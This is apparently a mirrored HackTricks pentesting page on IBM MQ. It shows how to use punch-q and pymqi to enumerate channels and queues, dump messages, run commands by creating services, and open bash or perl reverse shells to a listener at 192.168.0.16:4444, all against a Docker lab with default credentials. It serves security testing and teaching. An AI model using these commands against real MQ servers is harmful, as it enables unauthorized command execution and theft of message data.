mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 09:34:03 +00:00
375 lines
18 KiB
Markdown
375 lines
18 KiB
Markdown
|
# 1414 - Pentesting IBM MQ
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Basic information
|
|||
|
|
|||
|
IBM MQ is an IBM technology to manage message queues. As other **message broker** technologies, it is dedicated to receive, store, process and classify information between producers and consumers.
|
|||
|
|
|||
|
By default, **it exposes IBM MQ TCP port 1414**.
|
|||
|
Sometimes, HTTP REST API can be exposed on port **9443**.
|
|||
|
Metrics (Prometheus) could also be accessed from TCP port **9157**.
|
|||
|
|
|||
|
The IBM MQ TCP port 1414 can be used to manipulate messages, queues, channels, ... but **also to control the instance**.
|
|||
|
|
|||
|
IBM provides a large technical documentation available on [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
|||
|
|
|||
|
## Tools
|
|||
|
|
|||
|
A suggested tool for easy exploitation is **[punch-q](https://github.com/sensepost/punch-q)**, with Docker usage. The tool is actively using the Python library `pymqi`.
|
|||
|
|
|||
|
For a more manual approach, use the Python library **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ dependencies](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) are needed.
|
|||
|
|
|||
|
### Installing pymqi
|
|||
|
|
|||
|
**IBM MQ dependencies** needs to be installed and loaded:
|
|||
|
|
|||
|
1. Create an account (IBMid) on [https://login.ibm.com/](https://login.ibm.com/).
|
|||
|
2. Download IBM MQ libraries from [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). For Linux x86_64 it is **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
|||
|
3. Decompress (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
|||
|
4. Run `sudo ./mqlicense.sh` to accept licenses terms.
|
|||
|
|
|||
|
>If you are under Kali Linux, modify the file `mqlicense.sh`: remove/comment the following lines (between lines 105-110):
|
|||
|
>
|
|||
|
>```bash
|
|||
|
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
|||
|
> then
|
|||
|
> echo "ERROR: This package is incompatible with this system"
|
|||
|
> echo " This package was built for ${BUILD_PLATFORM}"
|
|||
|
> exit 1
|
|||
|
>fi
|
|||
|
>```
|
|||
|
|
|||
|
5. Install these packages:
|
|||
|
|
|||
|
```bash
|
|||
|
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
|||
|
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
|||
|
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
|||
|
```
|
|||
|
|
|||
|
6. Then, temporary add the `.so` files to LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **before** running other tools using these dependencies.
|
|||
|
|
|||
|
Then, you can clone the project [**pymqi**](https://github.com/dsuch/pymqi): it contains interesting code snippets, constants, ... Or you can directly install the library with: `pip install pymqi`.
|
|||
|
|
|||
|
### Using punch-q
|
|||
|
|
|||
|
#### With Docker
|
|||
|
|
|||
|
Simply use: `sudo docker run --rm -ti leonjza/punch-q`.
|
|||
|
|
|||
|
#### Without Docker
|
|||
|
|
|||
|
Clone the project [**punch-q**](https://github.com/sensepost/punch-q) then follow the readme for installation (`pip install -r requirements.txt && python3 setup.py install`).
|
|||
|
|
|||
|
After, it can be used with `punch-q` command.
|
|||
|
|
|||
|
## Enumeration
|
|||
|
|
|||
|
You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.
|
|||
|
|
|||
|
### Queue Manager
|
|||
|
|
|||
|
Sometimes, there is no protection against getting the Queue Manager name:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
|||
|
Queue Manager name: MYQUEUEMGR
|
|||
|
```
|
|||
|
|
|||
|
### Channels
|
|||
|
|
|||
|
**punch-q** is using an internal (modifiable) wordlist to find existing channels. Usage example:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
|||
|
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
|||
|
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
|||
|
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
|||
|
```
|
|||
|
|
|||
|
It happens that some IBM MQ instances accept **unauthenticated** MQ requests, so `--username / --password` is not needed. Of course, access rights can also vary.
|
|||
|
|
|||
|
As soon as we get one channel name (here: `DEV.ADMIN.SVRCONN`), we can enumerate all other channels.
|
|||
|
|
|||
|
The enumeration can basically be done with this code snippet `code/examples/dis_channels.py` from **pymqi**:
|
|||
|
|
|||
|
```python
|
|||
|
import logging
|
|||
|
import pymqi
|
|||
|
|
|||
|
logging.basicConfig(level=logging.INFO)
|
|||
|
|
|||
|
queue_manager = 'MYQUEUEMGR'
|
|||
|
channel = 'DEV.ADMIN.SVRCONN'
|
|||
|
host = '172.17.0.2'
|
|||
|
port = '1414'
|
|||
|
conn_info = '%s(%s)' % (host, port)
|
|||
|
user = 'admin'
|
|||
|
password = 'passw0rd'
|
|||
|
|
|||
|
prefix = '*'
|
|||
|
|
|||
|
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
|||
|
|
|||
|
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
|||
|
pcf = pymqi.PCFExecute(qmgr)
|
|||
|
|
|||
|
try:
|
|||
|
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
|||
|
except pymqi.MQMIError as e:
|
|||
|
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
|||
|
logging.info('No channels matched prefix `%s`' % prefix)
|
|||
|
else:
|
|||
|
raise
|
|||
|
else:
|
|||
|
for channel_info in response:
|
|||
|
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
|||
|
logging.info('Found channel `%s`' % channel_name)
|
|||
|
|
|||
|
qmgr.disconnect()
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
... But **punch-q** also embed that part (with more infos!).
|
|||
|
It can be launch with:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
|||
|
Showing channels with prefix: "*"...
|
|||
|
|
|||
|
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
|||
|
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
|||
|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
|||
|
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
|||
|
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
|||
|
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
|||
|
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
|||
|
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
|||
|
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
|||
|
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
|||
|
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
|||
|
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
|||
|
| SYSTEM.DEF.SERVER | Server | | | | | |
|
|||
|
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
|||
|
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
|||
|
```
|
|||
|
|
|||
|
### Queues
|
|||
|
|
|||
|
There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
|||
|
Showing queues with prefix: "*"...
|
|||
|
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
|||
|
| | | | | | GR Name | eue Nam | |
|
|||
|
| | | | | | | e | |
|
|||
|
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
|||
|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
|||
|
| 0 18.35.1 | E | | | | | | |
|
|||
|
| 9 | | | | | | | |
|
|||
|
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
|||
|
| 0 18.35.1 | | | | | | | |
|
|||
|
| 9 | | | | | | | |
|
|||
|
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
|||
|
| 0 18.35.1 | | | | | | | |
|
|||
|
| 9 | | | | | | | |
|
|||
|
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
|||
|
| 0 18.35.1 | | | | | | | |
|
|||
|
| 9 | | | | | | | |
|
|||
|
# Truncated
|
|||
|
```
|
|||
|
|
|||
|
## Exploit
|
|||
|
|
|||
|
### Dump messages
|
|||
|
|
|||
|
You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation). *Examples:*
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
|||
|
```
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
|||
|
```
|
|||
|
|
|||
|
**Do not hesitate to iterate on all identified queues.**
|
|||
|
|
|||
|
### Code execution
|
|||
|
|
|||
|
> Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
|||
|
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) is what we are focused on to interact remotely with the instance. **punch-q** and furthermore **pymqi** are based on PCF interactions.
|
|||
|
>
|
|||
|
> You can find a list of PCF commands:
|
|||
|
> * [From PCF documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), and
|
|||
|
> * [from constants](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
|||
|
>
|
|||
|
> One interesting command is `MQCMD_CREATE_SERVICE` and its documentation is available [here](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). It takes as argument a `StartCommand` pointing to a local program on the instance (example: `/bin/sh`).
|
|||
|
>
|
|||
|
> There is also a warning of the command in the docs: *"Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files."*
|
|||
|
>
|
|||
|
> *Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here.*
|
|||
|
|
|||
|
The service creation / deletion with PCF for remote program execution can be done by **punch-q**:
|
|||
|
|
|||
|
**Example 1**
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
|||
|
```
|
|||
|
|
|||
|
> In the logs of IBM MQ, you can read the command is successfully executed:
|
|||
|
>
|
|||
|
> ```bash
|
|||
|
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
|||
|
> ```
|
|||
|
|
|||
|
You can also enumerate existing programs on the machine (here `/bin/doesnotexist` ... does not exist):
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
|||
|
s "whatever"
|
|||
|
Command: /bin/doesnotexist
|
|||
|
Arguments: -c id
|
|||
|
Service Name: 6e3ef5af652b4436
|
|||
|
|
|||
|
Creating service...
|
|||
|
Starting service...
|
|||
|
The program '/bin/doesnotexist' is not available on the remote system.
|
|||
|
Giving the service 0 second(s) to live...
|
|||
|
Cleaning up service...
|
|||
|
Done
|
|||
|
```
|
|||
|
|
|||
|
**Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit** ***(listener for reverse shell, file creation on different service, data exfiltration through network ...)***
|
|||
|
|
|||
|
**Example 2**
|
|||
|
|
|||
|
For easy reverse shell, **punch-q** proposes also two reverse shell payloads :
|
|||
|
|
|||
|
* One with bash
|
|||
|
* One with perl
|
|||
|
|
|||
|
*Of course you can build a custom one with the `execute` command.*
|
|||
|
|
|||
|
For bash:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
|||
|
```
|
|||
|
|
|||
|
For perl:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
|||
|
```
|
|||
|
|
|||
|
### Custom PCF
|
|||
|
|
|||
|
You can dig into the IBM MQ documentation and directly use **pymqi** python library to test specific PCF command not implemented in **punch-q**.
|
|||
|
|
|||
|
**Example:**
|
|||
|
|
|||
|
```python
|
|||
|
import pymqi
|
|||
|
|
|||
|
queue_manager = 'MYQUEUEMGR'
|
|||
|
channel = 'DEV.ADMIN.SVRCONN'
|
|||
|
host = '172.17.0.2'
|
|||
|
port = '1414'
|
|||
|
conn_info = '%s(%s)' % (host, port)
|
|||
|
user = 'admin'
|
|||
|
password = 'passw0rd'
|
|||
|
|
|||
|
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
|||
|
pcf = pymqi.PCFExecute(qmgr)
|
|||
|
|
|||
|
try:
|
|||
|
# Replace here with your custom PCF args and command
|
|||
|
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
|||
|
args = {pymqi.CMQCFC.xxxxx: "value"}
|
|||
|
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
|||
|
except pymqi.MQMIError as e:
|
|||
|
print("Error")
|
|||
|
else:
|
|||
|
# Process response
|
|||
|
|
|||
|
qmgr.disconnect()
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
If you cannot find the constant names, you can refer to the [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
|||
|
|
|||
|
> *Example for [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). It needs the parameter `MQCA_CLUSTER_NAME` (Decimal = 2029) which can be `*` (Doc: ):*
|
|||
|
>
|
|||
|
> ```python
|
|||
|
> import pymqi
|
|||
|
>
|
|||
|
> queue_manager = 'MYQUEUEMGR'
|
|||
|
> channel = 'DEV.ADMIN.SVRCONN'
|
|||
|
> host = '172.17.0.2'
|
|||
|
> port = '1414'
|
|||
|
> conn_info = '%s(%s)' % (host, port)
|
|||
|
> user = 'admin'
|
|||
|
> password = 'passw0rd'
|
|||
|
>
|
|||
|
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
|||
|
> pcf = pymqi.PCFExecute(qmgr)
|
|||
|
>
|
|||
|
> try:
|
|||
|
> args = {2029: "*"}
|
|||
|
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
|||
|
> except pymqi.MQMIError as e:
|
|||
|
> print("Error")
|
|||
|
> else:
|
|||
|
> print(response)
|
|||
|
>
|
|||
|
> qmgr.disconnect()
|
|||
|
> ```
|
|||
|
|
|||
|
## Testing environment
|
|||
|
|
|||
|
If you want to test the IBM MQ behavior and exploits, you can set up a local environment based on Docker:
|
|||
|
|
|||
|
1. Having an account on ibm.com and cloud.ibm.com.
|
|||
|
2. Create a containerized IBM MQ with:
|
|||
|
|
|||
|
```bash
|
|||
|
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
|||
|
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
|||
|
```
|
|||
|
|
|||
|
By default, the authentication is enabled, the username is `admin` and the password is `passw0rd` (Environment variable `MQ_ADMIN_PASSWORD`).
|
|||
|
Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).
|
|||
|
|
|||
|
You should have the IBM MQ up and running with its ports exposed:
|
|||
|
|
|||
|
```bash
|
|||
|
❯ sudo docker ps
|
|||
|
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
|||
|
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
|||
|
```
|
|||
|
|
|||
|
> The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
|||
|
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
|||
|
* [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
|